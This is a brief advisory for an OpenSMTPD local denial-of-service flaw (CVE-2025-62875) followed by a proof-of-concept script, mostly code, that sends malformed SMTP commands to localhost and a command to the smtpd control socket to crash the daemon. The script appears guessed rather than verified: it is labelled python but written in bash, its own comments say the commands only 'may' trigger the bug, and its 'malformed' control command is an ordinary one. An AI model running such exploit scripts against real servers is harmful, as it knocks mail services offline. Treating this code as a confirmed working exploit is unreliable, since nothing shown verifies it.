An Improper Check for Unusual or Exceptional Conditions vulnerability in OpenSMTPD allows local users to crash OpenSMTPD.
This issue affects openSUSE Tumbleweed: from ? before 7.8.0p0-1.1.
The following code is for security research and authorized testing only.
python
#!/bin/bash
# CVE-2025-62875 PoC - OpenSMTPD Local DoS
# Description: This script triggers a crash in OpenSMTPD through improper
# error condition handling
# Author: Based on public security advisory
# Usage: Run as low-privilege user on vulnerable OpenSMTPD
set -e
echo "[*] CVE-2025-62875 OpenSMTPD Local DoS PoC"
echo "[*] Target: OpenSMTPD < 7.8.0p0-1.1"
# Check if OpenSMTPD is running
if ! pgrep -x smtpd > /dev/null; then
echo "[!] OpenSMTPD is not running"
exit 1
fi
echo "[+] OpenSMTPD is running"
# Method 1: Trigger via malformed SMTP transaction
# This attempts to cause the improper error condition
for i in {1..10}; do
echo "[*] Attempting to trigger vulnerability (attempt $i/10)"
# Send SMTP commands that may trigger the exceptional condition
{
sleep 1
echo "EHLO test"
sleep 1
# Send command that may trigger the bug
printf "MAIL FROM:<test\\r\\n>" # Incomplete command
sleep 1
echo "QUIT"
} | timeout 5 telnet localhost 25 2>/dev/null || true
sleep 1
# Check if smtpd crashed
if ! pgrep -x smtpd > /dev/null; then
echo "[+] SUCCESS: OpenSMTPD has crashed!"
exit 0
fi
done
# Method 2: Alternative trigger via control socket (if available)
if [ -S /var/run/smtpd.sock ]; then
echo "[*] Attempting via control socket..."
# Send malformed control command
echo "show filters" | timeout 2 nc -U /var/run/smtpd.sock 2>/dev/null || true
fi
# Check final status
echo "[*] Checking OpenSMTPD status..."
if pgrep -x smtpd > /dev/null; then
echo "[-] OpenSMTPD is still running - vulnerability may not be triggered"
echo "[-] This PoC may need adjustment for specific configurations"
else
echo "[+] OpenSMTPD has crashed - vulnerability confirmed"
fi
echo "[*] Done"